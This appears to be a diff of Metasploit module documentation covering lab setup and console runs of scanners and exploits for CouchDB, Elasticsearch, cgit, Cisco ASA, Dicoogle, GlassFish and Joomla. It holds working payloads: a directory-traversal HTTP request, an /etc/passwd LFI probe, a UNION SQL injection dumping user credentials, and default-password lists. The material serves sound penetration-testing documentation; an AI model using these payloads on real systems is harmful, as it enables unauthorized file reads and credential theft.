[*] 1.1.1.1:548 - AFP 1.1.1.1:548 AFP Versions: AFP2.2, AFPX03, AFP3.1, AFP3.2, AFP3.3
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UAMs: Cleartxt Passwrd, DHX2
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Signature: 975394e16633312406281959287fcbd9
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 Server Network Address:
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 * 1.1.1.1
[*] 1.1.1.1:548 - AFP 1.1.1.1:548 UTF8 Server Name: ubuntu
[*] 1.1.1.1:548 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,73 @@
## Vulnerable Application
Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.
The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/):
1. `sudo apt install software-properties-common`
2. `sudo add-apt-repository ppa:couchdb/stable`
3. `sudo apt update`
4. `sudo apt install couchdb`
5. Reconfigure couchdb to listen to all interfaces. Edit `/etc/couchdb/local.ini`. Under `[httpd]` add the following line: `bind_address = 0.0.0.0`
6. Restart the service: `sudo service couchdb restart`
## Verification Steps
1. Install and configure couchdb
2. Start msfconsole
3. Do: `auxiliary/scanner/couchdb/couchdb_enum`
4. Do: `run`
## Options
**serverinfo**
If set to true, the server info will also enumerated and set in msf's DB. Defaults to `false`
## Scenarios
A run against the configuration from these docs
```
msf5 auxiliary(scanner/afp/afp_login) > use auxiliary/scanner/couchdb/couchdb_enum
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true
verbose => true
msf5 auxiliary(scanner/couchdb/couchdb_enum) > run
[+] 1.1.1.1:5984 {
"couchdb": "Welcome",
"uuid": "6f08e89795bd845efc6c2bf3d57799e5",
"version": "1.6.1",
"vendor": {
"version": "16.04",
"name": "Ubuntu"
}
}
[*] #{peer} Enumerating Databases...
[+] 1.1.1.1:5984 Databases:
[
"_replicator",
"_users"
]
[+] 1.1.1.1:5984 File saved in: /root/.msf4/loot/20180721105522_default_1.1.1.1_couchdb.enum_888970.bin
msf5 auxiliary(scanner/couchdb/couchdb_enum) > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
1.1.1.1 5984 tcp couchdb open HTTP/1.1 200 OK
Server: CouchDB/1.6.1 (Erlang OTP/18)
Date: Sat, 21 Jul 2018 14:54:45 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 127
Cache-Control: must-revalidate
{"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
```
@@ -0,0 +1,51 @@
## Vulnerable Application
Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.
The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/):
1. `sudo apt install software-properties-common`
2. `sudo add-apt-repository ppa:couchdb/stable`
3. `sudo apt update`
4. `sudo apt install couchdb`
5. Reconfigure couchdb to listen to all interfaces. Edit `/etc/couchdb/local.ini`. Under `[httpd]` add the following line: `bind_address = 0.0.0.0`
6. Restart the service: `sudo service couchdb restart`
7. Create an admin user `curl -X PUT http://127.0.0.1:5984/_config/admins/anna -d '"secret"'`
## Verification Steps
1. Install and configure couchdb
2. Start msfconsole
3. Do: `auxiliary/scanner/couchdb/couchdb_login`
4. Do: `run`
## Scenarios
A run against the configuration from these docs
```
msf5 > use auxiliary/scanner/couchdb/couchdb_login
msf5 auxiliary(scanner/couchdb/couchdb_login) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/couchdb/couchdb_login) > set username anna
username => anna
msf5 auxiliary(scanner/couchdb/couchdb_login) > set password secret
password => secret
msf5 auxiliary(scanner/couchdb/couchdb_login) > run
[*] 1.1.1.1:5984 - [001/305] - Trying username:'connect' with password:'connect'
[*] 1.1.1.1:5984 - [002/305] - Trying username:'sitecom' with password:'sitecom'
[*] 1.1.1.1:5984 - [003/305] - Trying username:'admin' with password:'1234'
[*] 1.1.1.1:5984 - [004/305] - Trying username:'cisco' with password:'cisco'
[*] 1.1.1.1:5984 - [005/305] - Trying username:'cisco' with password:'sanfran'
[*] 1.1.1.1:5984 - [006/305] - Trying username:'private' with password:'private'
[*] 1.1.1.1:5984 - [007/305] - Trying username:'wampp' with password:'xampp'
[*] 1.1.1.1:5984 - [008/305] - Trying username:'newuser' with password:'wampp'
[*] 1.1.1.1:5984 - [009/305] - Trying username:'xampp-dav-unsecure' with password:'ppmax2011'
[*] 1.1.1.1:5984 - [010/305] - Trying username:'admin' with password:'turnkey'
[*] 1.1.1.1:5984 - [011/305] - Trying username:'vagrant' with password:'vagrant'
[*] 1.1.1.1:5984 - [012/305] - Trying username:'anna' with password:'secret'
[+] 1.1.1.1:5984 - Successful login with. 'anna' : 'secret'
[*] 1.1.1.1:5984 - [013/305] - Trying username:'admin' with password:'secret'
...snip...
```
@@ -0,0 +1,46 @@
## Description
This module identifies a list of indices which an Elasticsearch NoSQL database has. This occurs over the REST API, which on community versions is an unauthenticated API. Customers who subscribe to a support plan can add authentication to this API restricting access.
## Vulnerable Application
### Install Elasticsearch on Kali Linux:
With this install, we'll install the free community edition of Elasticsearch, which does not require authentication to the API. However, this is unrealistic in a production environment which will often leverage a support contract to gain authentication, a reverse proxy to add basic authentication, and/or a host firewall to restrict access to this API.
The following instructions assume you are beginning with a fresh Kali installation as the root user.
1. `useradd -M -r elasticsearch`
2. `su elasticsearch`
3. `cd /tmp`
4. `curl -L -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.3.2.tar.gz`
5. `tar -xvf elasticsearch-6.3.2.tar.gz`
6. `cd elasticsearch-6.3.2/bin`
7. `./elasticsearch`
8. Open a new terminal
9. In the new terminal, `curl -X PUT http://127.0.0.1:9200/msf_test` to create an index for validation purposes
## Verification Steps
1. `use auxiliary/scanner/elasticsearch/indices_enum`
2. `set RHOSTS [ips]`
3. `set RPORT [port]`
4. `run`
## Scenarios
### Elasticsearch 6.3.2 on Kali Linux
```
msf > use auxiliary/scanner/elasticsearch/indices_enum
msf auxiliary(scanner/elasticsearch/indices_enum) > set RHOSTS 10.10.10.25
RHOSTS => 10.10.10.25
msf auxiliary(scanner/elasticsearch/indices_enum) > run
[+] ElasticSearch Indices found: msf_test
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Confirming
### [elasticsearch](https://www.elastic.co/guide/en/elasticsearch/reference/current/_list_all_indices.html)
```
# curl 'http://10.10.10.25:9200/_cat/indices?v'
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
yellow open msf_test W83_cAS1QlmePnczS9sLrA 5 1 0 0 1.2kb 1.2kb
```
@@ -0,0 +1,16 @@
## Intro
This module scans for h.323 servers and determines the version and information about the server.
## Usage
```
msf5 auxiliary(scanner/sip/options) > use auxiliary/scanner/h323/h323_version
msf5 auxiliary(scanner/h323/h323_version) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/h323/h323_version) > run
[+] 1.1.1.1:1720 - 1.1.1.1:1720 Protocol: 3 VendorID: 0x6100023c VersionID: v.5.4 ProductID: Gateway
[*] 1.1.1.1:1720 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,45 @@
## Intro
This module scans a web server for a file name with various backup type extensions.
The list of extensions are:
1. .backup
2. .bak
3. .copy
4. .copia
5. .old
6. .orig
7. .temp
8. .txt
9. ~
## Usage
In the basic config, you'll search for the extensions on `/index.asp`, which may not be very useful.
In this scenario, we look for `/backup` instead. On the web server, we've created the files `backup.old`,
`backup.orig`, and `backup~`.
```
msf5 > use auxiliary/scanner/http/backup_file
msf5 auxiliary(scanner/http/backup_file) > set verbose true
verbose => true
msf5 auxiliary(scanner/http/backup_file) > set path /backup
path => /backup
msf5 auxiliary(scanner/http/backup_file) > set rhosts 192.168.2.39
rhosts => 192.168.2.39
msf5 auxiliary(scanner/http/backup_file) > run
[*] NOT Found http://192.168.2.39:80/backup.backup
[*] NOT Found http://192.168.2.39:80/backup.bak
[*] NOT Found http://192.168.2.39:80/backup.copy
[*] NOT Found http://192.168.2.39:80/backup.copia
[+] Found http://192.168.2.39:80/backup.old
[+] Found http://192.168.2.39:80/backup.orig
[*] NOT Found http://192.168.2.39:80/backup.temp
[*] NOT Found http://192.168.2.39:80/backup.txt
[+] Found http://192.168.2.39:80/backup~
[*] NOT Found http://192.168.2.39:80/.backup.swp
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,91 @@
## Description
cgit before v1.2.1 has a directory traversal vulnerabiltiy when `cgitrc` has the `enable-http-clone` value set to 1. The directory traversal can be used to download files from the remote host. This module has been tested against cgit v1.1 running on Ubuntu 18.04.
## Vulnerable Application
[cgit before v1.2.1](https://git.zx2c4.com/cgit/)
### Installing cgit on Ubuntu 18.04 x64
1. `sudo apt install cgit` # [dependencies](https://git.zx2c4.com/cgit/tree/README) may have to be downloaded first
2. Modify `/etc/cgitrc` to have `enable-http-clone=1`. Example attached.
3. Add `.htaccess` file with rewrite rules to `/usr/lib/cgit/`. Example attached.
4. Add `cgit.conf` to `/etc/apache2/conf-enabled/`. Example attached.
5. Enable `rewrite.load` and `cgi.load` in apache2.
6. Create bare repo. `mkdir -p repo/test.git && cd repo/test.git && git init --bare`
Example files were only used for testing and are not secure or usable in non-testing environments. These WILL make your system insecure, but will enable exploitation
by this module.
[cgit.conf](https://github.com/rapid7/metasploit-framework/files/2284678/cgit.conf.txt)
[cgitrc](https://github.com/rapid7/metasploit-framework/files/2284679/cgitrc.txt)
[.htaccess](https://github.com/rapid7/metasploit-framework/files/2284680/htaccess.txt)
### Vulnerability Details from Project Zero
There is a directory traversal vulnerability in cgit_clone_objects(), reachable when the configuration flag enable-http-clone is set to 1 (default):
```
void cgit_clone_objects(void)
{
if (!ctx.qry.path) {
cgit_print_error_page(400, "Bad request", "Bad request");
return;
}
if (!strcmp(ctx.qry.path, "info/packs")) {
print_pack_info();
return;
}
send_file(git_path("objects/%s", ctx.qry.path));
}
```
send_file() is a function that simply sends the data stored at the given filesystem path out over the network.
git_path() partially rewrites the provided path and e.g. prepends the base path of the repository, but it does not sanitize the provided path to prevent directory traversal.
ctx.qry.path can come from querystring_cb(), which takes unescaped data from the querystring.
## Options
**REPO**
Git repository on the remote server. Default is empty, `''`.
## Verification Steps
1. `./msfconsole -q`
2. `set rhosts <rhost>`
3. `set targeturi <uri>`
4. `set repo <repo>`
5. `run`
## Scenarios
### Ubuntu 18.04 x64, cgit | 1.1+git2.10.2-3build1
```
msf5 > use auxiliary/scanner/http/cgit_traversal
msf5 auxiliary(scanner/http/cgit_traversal) > set rhosts 172.22.222.123
rhosts => 172.22.222.123
msf5 auxiliary(scanner/http/cgit_traversal) > set targeturi /mygit/
targeturi => /mygit/
msf5 auxiliary(scanner/http/cgit_traversal) > set repo test
repo => test
msf5 auxiliary(scanner/http/cgit_traversal) > set filepath /home/msfdev/proof.txt
filepath => /home/msfdev/proof.txt
msf5 auxiliary(scanner/http/cgit_traversal) > set verbose true
verbose => true
msf5 auxiliary(scanner/http/cgit_traversal) > run
[+] 172.22.222.123:80 -
you found me!
[+] File saved in: /home/msfdev/.msf4/loot/20180813150517_default_172.22.222.123_cgit.traversal_235024.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,129 @@
## Description
This module exploits a directory traversal vulnerability on Cisco products running the Adaptive Security Appliance (ASA) software < v9.6 and Firepower Threat Defense (FTD) software < v6.2.3.
Sending a specially crafted HTTP request results in viewing the contents of directories that would otherwise require authentication to view.
## Vulnerable Application
Cisco ASA software < v9.6 and Cisco FTD software < v6.2.3 running on vulnerable appliances that can be found [here](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180606-asaftd)
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use auxiliary/scanner/http/cisco_directory_traversal```
4. Do: ```set RHOSTS [IP]```
5. Do: ```run```
## Scenarios
### Tested on Cisco ASA 5505 Series running ASA software v8.2
```
msf5 > use auxiliary/scanner/http/cisco_directory_traversal
msf5 auxiliary(scanner/http/cisco_directory_traversal) > set rhosts 192.168.1.1
rhosts => 192.168.1.1
msf5 auxiliary(scanner/http/cisco_directory_traversal) > run
[+] ///
[
{'name':'customization','size':0,'type':'1','mdate':1532972199}
,{'name':'bookmarks','size':0,'type':'1','mdate':1532972199}
,{'name':'locale','size':0,'type':'1','mdate':1532972197}
,{'name':'+CSCOT+','size':0,'type':'1','mdate':1532971872}
,{'name':'+CSCOCA+','size':0,'type':'1','mdate':1532971872}
,{'name':'+CSCOL+','size':0,'type':'1','mdate':1532971871}
,{'name':'admin','size':0,'type':'1','mdate':1532971871}
,{'name':'+CSCOU+','size':0,'type':'1','mdate':1532971871}
,{'name':'+CSCOE+','size':0,'type':'1','mdate':1532971871}
,{'name':'sessions','size':0,'type':'1','mdate':1532971871}
[+] ///sessions/
[
{'name':'32768','size':0,'type':'1','mdate':1533130976}
[*] Users logged in:
[+] cisco
[+] //+CSCOE+
[
{'name':'logo.gif','size':0,'type':'0','mdate':1532972377}
,{'name':'http_auth.html','size':3317,'type':'0','mdate':1532972377}
,{'name':'user_dialog.html','size':2145,'type':'0','mdate':1532972377}
,{'name':'localization_inc.lua','size':4495,'type':'0','mdate':1532972377}
,{'name':'portal_inc.lua','size':30888,'type':'0','mdate':1532972377}
,{'name':'include','size':0,'type':'1','mdate':1532971872}
,{'name':'nostcaccess.html','size':497,'type':'0','mdate':1532972377}
,{'name':'ask.html','size':2520,'type':'0','mdate':1532972377}
,{'name':'no_svc.html','size':1779,'type':'0','mdate':1532972377}
,{'name':'svc.html','size':2701,'type':'0','mdate':1532972377}
,{'name':'session.js','size':371,'type':'0','mdate':1532972377}
,{'name':'useralert.html','size':2526,'type':'0','mdate':1532972377}
,{'name':'ping.html','size':4296,'type':'0','mdate':1532972377}
,{'name':'help','size':0,'type':'1','mdate':1532971872}
,{'name':'app_index.html','size':14531,'type':'0','mdate':1532972377}
,{'name':'tlbr','size':1960,'type':'0','mdate':1532972377}
,{'name':'portal_forms.js','size':265,'type':'0','mdate':1532972377}
,{'name':'logon_forms.js','size':263,'type':'0','mdate':1532972377}
,{'name':'win.js','size':247,'type':'0','mdate':1532972377}
,{'name':'portal.css','size':4757,'type':'0','mdate':1532972377}
,{'name':'portal.js','size':369,'type':'0','mdate':1532972377}
,{'name':'sess_update.html','size':267,'type':'0','mdate':1532972377}
,{'name':'blank.html','size':255,'type':'0','mdate':1532972377}
,{'name':'noportal.html','size':261,'type':'0','mdate':1532972377}
,{'name':'portal_ce.html','size':7990,'type':'0','mdate':1532972377}
,{'name':'portal.html','size':10999,'type':'0','mdate':1532972377}
,{'name':'home','size':0,'type':'1','mdate':1532971872}
,{'name':'logon_custom.css','size':499,'type':'0','mdate':1532972377}
,{'name':'portal_custom.css','size':315,'type':'0','mdate':1532972377}
,{'name':'preview.html','size':259,'type':'0','mdate':1532972377}
,{'name':'session_expired','size':0,'type':'0','mdate':1532972377}
,{'name':'custom','size':0,'type':'1','mdate':1532971872}
,{'name':'portal_elements.html','size':33659,'type':'0','mdate':1532972377}
,{'name':'commonspawn.js','size':379,'type':'0','mdate':1532972377}
,{'name':'common.js','size':369,'type':'0','mdate':1532972377}
,{'name':'appstart.js','size':1777,'type':'0','mdate':1532972377}
,{'name':'appstatus','size':1904,'type':'0','mdate':1532972377}
,{'name':'relaymonjar.html','size':0,'type':'0','mdate':1532972377}
,{'name':'relaymonocx.html','size':0,'type':'0','mdate':1532972377}
,{'name':'relayjar.html','size':0,'type':'0','mdate':1532972377}
,{'name':'relayocx.html','size':0,'type':'0','mdate':1532972377}
,{'name':'portal_img','size':0,'type':'1','mdate':1532971872}
,{'name':'color_picker.js','size':381,'type':'0','mdate':1532972377}
,{'name':'color_picker.html','size':269,'type':'0','mdate':1532972377}
,{'name':'cedhelp.html','size':2819,'type':'0','mdate':1532972377}
,{'name':'cedmain.html','size':5084,'type':'0','mdate':1532972377}
,{'name':'cedlogon.html','size':4147,'type':'0','mdate':1532972377}
,{'name':'cedportal.html','size':2762,'type':'0','mdate':1532972377}
,{'name':'cedsave.html','size':2167,'type':'0','mdate':1532972377}
,{'name':'cedf.html','size':51675,'type':'0','mdate':1532972377}
,{'name':'ced.html','size':51673,'type':'0','mdate':1532972377}
,{'name':'lced.html','size':2477,'type':'0','mdate':1532972377}
,{'name':'files','size':0,'type':'1','mdate':1532971871}
,{'name':'041235123432C2','size':1101,'type':'0','mdate':1532972377}
,{'name':'041235123432U2','size':464,'type':'0','mdate':1532972377}
,{'name':'pluginlib.js','size':375,'type':'0','mdate':1532972377}
,{'name':'shshim','size':1317,'type':'0','mdate':1532972377}
,{'name':'do_url','size':0,'type':'0','mdate':1532972377}
,{'name':'clear_cache','size':0,'type':'0','mdate':1532972377}
,{'name':'connection_failed_form','size':0,'type':'0','mdate':1532972377}
,{'name':'apcf','size':0,'type':'0','mdate':1532972377}
,{'name':'ucte_forbidden_data','size':0,'type':'0','mdate':1532972377}
,{'name':'ucte_forbidden_url','size':0,'type':'0','mdate':1532972377}
,{'name':'cookie','size':0,'type':'0','mdate':1532972377}
,{'name':'session_password.html','size':648,'type':'0','mdate':1532972377}
,{'name':'tunnel_linux.jnlp','size':1663,'type':'0','mdate':1532972377}
,{'name':'tunnel_mac.jnlp','size':1659,'type':'0','mdate':1532972377}
,{'name':'sdesktop','size':0,'type':'1','mdate':1532971871}
,{'name':'gp-gip.html','size':3097,'type':'0','mdate':1532972377}
,{'name':'auth.html','size':467,'type':'0','mdate':1532972377}
,{'name':'wrong_url.html','size':354,'type':'0','mdate':1532972377}
,{'name':'logon_redirect.html','size':1395,'type':'0','mdate':1532972377}
,{'name':'logout.html','size':31552,'type':'0','mdate':1532972377}
,{'name':'logon.html','size':31517,'type':'0','mdate':1532972377}
,{'name':'test_chargen','size':0,'type':'0','mdate':1532972377}
[*] Auxiliary module execution completed
```
@@ -0,0 +1,38 @@
## Description
This module exploits an unauthenticated directory traversal vulnerability
in the Dicoogle PACS Web Server v2.5.0 and possibly earlier, allowing an
attacker to read arbitrary files with the web server privileges.
While the application is java based, the directory traversal was only
successfully tested against Windows targets.
## Verification Steps
1. Start `msfconsole`
2. `use auxiliary/scanner/http/dicoogle_traversal`
3. `set RHOSTS [IP]`
4. `run`
## Scenarios
### Tested on Windows 2012 with Dicoogle 2.5.0 on Java 8 update 151
```
msf5 > use auxiliary/scanner/http/dicoogle_traversal
msf5 auxiliary(scanner/http/dicoogle_traversal) > set rhosts 1.1.1.1
rhosts => 1.1.1.1
msf5 auxiliary(scanner/http/dicoogle_traversal) > set verbose true
verbose => true
msf5 auxiliary(scanner/http/dicoogle_traversal) > run
[+] 192.168.2.164:8080 - ; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[+] File saved in: /root/.msf4/loot/20180803091123_default_192.168.2.164_dicoogle.travers_347491.txt
```
@@ -0,0 +1,31 @@
## Intro
This module pulls and parses the URLs stored by Archive.org for the purpose of replaying
during a web assessment. Finding unlinked and old pages. This module utilizes
[Archive.org's Wayback Machine](https://archive.org/web/)'s [API](https://archive.org/help/wayback_api.php).
## Usage
```
msf5 > use auxiliary/scanner/http/enum_wayback
msf5 auxiliary(scanner/http/enum_wayback) > set domain rapid7.com
domain => rapid7.com
msf5 auxiliary(scanner/http/enum_wayback) > run
[*] Pulling urls from Archive.org
[*] Located 43656 addresses for rapid7.com
http://mailto:info@rapid7.com/
http://mailto:sales@rapid7.com/
http://mailto:sales@rapid7.com/robots.txt
http://rapid7.com
http://rapid7.com/
http://rapid7.com/GlobalStyleSheet.css
http://rapid7.com/WebResources/images/Background2.gif
http://rapid7.com/WebResources/images/GlobalNavigation/Downloads_u.gif
http://rapid7.com/WebResources/images/GlobalNavigation/Home_d.gif
http://rapid7.com/WebResources/images/GlobalNavigation/NeXpose_d.gif
http://rapid7.com/WebResources/images/GlobalNavigation/NeXpose_u.gif
http://rapid7.com/WebResources/images/GlobalNavigation/Support_d.gif
http://rapid7.com/WebResources/images/GlobalNavigation/Support_u.gif
...snip...
```
@@ -0,0 +1,117 @@
## Vulnerable Application
This module exploits an unauthenticated directory traversal vulnerability which exists in administration console of,
Oracle GlassFish Server 4.1, which is listening by default on port 4848/TCP.
Related links :
* https://www.exploit-db.com/exploits/39441/
* https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904
* http://download.oracle.com/glassfish/4.1/release/glassfish-4.1.zip - Download Oracle Glass Fish 4.1
## Verification
1. Start msfconsole
2. Do: ```use auxiliary/scanner/http/glassfish_traversal```
3. Do: ```set RHOSTS [IP]```
4. Do: ```run```
## Scenarios
```
msf > use auxiliary/scanner/http/glassfish_traversal
msf auxiliary(scanner/http/glassfish_traversal) > set RHOSTS 192.168.1.105
RHOSTS => 192.168.1.105
msf auxiliary(scanner/http/glassfish_traversal) > set verbose true
verbose => true
msf auxiliary(scanner/http/glassfish_traversal) > run
[+] 192.168.1.105:4848 - ; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
[+] File saved in: /home/input0/.msf4/loot/20180804132151_default_192.168.1.105_oracle.traversal_244542.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/glassfish_traversal) >
```
## HTTP Request
```
GET /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini HTTP/1.1
Host: 192.168.1.105:4848
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=3c54ae091ab200dc3ce8ecfff7c1
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sat, 04 Aug 2018 05:53:42 GMT
```
## HTTP Response
```
HTTP/1.1 200 OK
Content-Length: 403
Content-Type: text/plain
Expires: Mon, 30 Jul 2018 11:16:55 GMT
Last-Modified: Tue, 14 Jul 2009 05:09:22 GMT
Server: Microsoft-HTTPAPI/2.0
Date: Sun, 29 Jul 2018 06:46:55 GMT
Connection: close
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
```
@@ -0,0 +1,26 @@
## Intro
This module scans for Joomla Content Management System running on a web server for the following pages:
1. `robots.txt`
2. `administrator/index.php`
3. `admin/`
4. `index.php/using-joomla/extensions/components/users-component/registration-form`
5. `index.php/component/users/?view=registration`
6. `htaccess.txt`
## Usage
```
msf5 > use auxiliary/scanner/http/joomla_pages
msf5 auxiliary(scanner/http/joomla_pages) > set rhosts 192.168.2.39
rhosts => 192.168.2.39
msf5 auxiliary(scanner/http/joomla_pages) > run
[+] Page Found: /robots.txt
[+] Page Found: /administrator/index.php
[+] Page Found: /htaccess.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,143 @@
## Intro
This module scans for Joomla Content Management System running on a web server for components/plugins.
The list can be found in [data/wordlists/joomla.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/joomla.txt).
## Usage
```
msf5 > use auxiliary/scanner/http/joomla_plugins
msf5 auxiliary(scanner/http/joomla_plugins) > set rhosts 192.168.2.39
rhosts => 192.168.2.39
msf5 auxiliary(scanner/http/joomla_plugins) > run
[+] Plugin: /?1.5.10-x
[+] Plugin: /?1.5.11-x-http_ref
[+] Plugin: /?1.5.11-x-php-s3lf
[+] Plugin: /?1.5.3-path-disclose
[+] Plugin: /?1.5.3-spam
[+] Plugin: /?1.5.8-x
[+] Plugin: /?1.5.9-x
[+] Plugin: /?j1012-fixate-session
[+] Plugin: /administrator/
[+] Plugin: /administrator/components/
[+] Plugin: /administrator/components/com_admin/
[+] Plugin: /administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+
[+] Plugin: /administrator/index.php?option=com_searchlog&act=log
[+] Plugin: /components/com_banners/
[+] Plugin: /components/com_content/
[+] Page: /index.php?option=com_content
[+] Plugin: /components/com_mailto/
[+] Plugin: /components/com_search/
[+] Page: /index.php?option=com_search
[+] Plugin: /components/com_users/
[+] Page: /index.php?option=com_users
[+] Plugin: /index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&amp;type=css&v=1
[+] Vulnerability: Potential LFI
[+] Plugin: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
[+] Page: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Confirming using Joomscan
The `-ec` flag is used to enumerate components/plugins.
```
# joomscan -u 192.168.2.39 -ec
____ _____ _____ __ __ ___ ___ __ _ _
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)
--=[OWASP JoomScan
+---++---==[Version : 0.0.5
+---++---==[Update Date : [2018/03/13]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : KLOT
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://192.168.2.39 ...
...snip...
[+] Enumeration component (com_ajax)
[++] Name: com_ajax
Location : http://192.168.2.39/components/com_ajax/
Directory listing is enabled : http://192.168.2.39/components/com_ajax/
[+] Enumeration component (com_banners)
[++] Name: com_banners
Location : http://192.168.2.39/components/com_banners/
Directory listing is enabled : http://192.168.2.39/components/com_banners/
[+] Enumeration component (com_contact)
[++] Name: com_contact
Location : http://192.168.2.39/components/com_contact/
Directory listing is enabled : http://192.168.2.39/components/com_contact/
[+] Enumeration component (com_content)
[++] Name: com_content
Location : http://192.168.2.39/components/com_content/
Directory listing is enabled : http://192.168.2.39/components/com_content/
[+] Enumeration component (com_contenthistory)
[++] Name: com_contenthistory
Location : http://192.168.2.39/components/com_contenthistory/
Directory listing is enabled : http://192.168.2.39/components/com_contenthistory/
[+] Enumeration component (com_fields)
[++] Name: com_fields
Location : http://192.168.2.39/components/com_fields/
Directory listing is enabled : http://192.168.2.39/components/com_fields/
[+] Enumeration component (com_finder)
[++] Name: com_finder
Location : http://192.168.2.39/components/com_finder/
Directory listing is enabled : http://192.168.2.39/components/com_finder/
[+] Enumeration component (com_mailto)
[++] Name: com_mailto
Location : http://192.168.2.39/components/com_mailto/
Directory listing is enabled : http://192.168.2.39/components/com_mailto/
Installed version : 3.1
[+] Enumeration component (com_media)
[++] Name: com_media
Location : http://192.168.2.39/components/com_media/
Directory listing is enabled : http://192.168.2.39/components/com_media/
[+] Enumeration component (com_newsfeeds)
[++] Name: com_newsfeeds
Location : http://192.168.2.39/components/com_newsfeeds/
Directory listing is enabled : http://192.168.2.39/components/com_newsfeeds/
[+] Enumeration component (com_search)
[++] Name: com_search
Location : http://192.168.2.39/components/com_search/
Directory listing is enabled : http://192.168.2.39/components/com_search/
[+] Enumeration component (com_users)
[++] Name: com_users
Location : http://192.168.2.39/components/com_users/
Directory listing is enabled : http://192.168.2.39/components/com_users/
[+] Enumeration component (com_wrapper)
[++] Name: com_wrapper
Location : http://192.168.2.39/components/com_wrapper/
Directory listing is enabled : http://192.168.2.39/components/com_wrapper/
Installed version : 3.1
```
@@ -0,0 +1,41 @@
## Intro
This module scans for Joomla Content Management System running on a web server.
## Usage
```
msf5 > use auxiliary/scanner/http/joomla_version
msf5 auxiliary(scanner/http/joomla_version) > set rhosts 192.168.2.39
rhosts => 192.168.2.39
msf5 auxiliary(scanner/http/joomla_version) > run
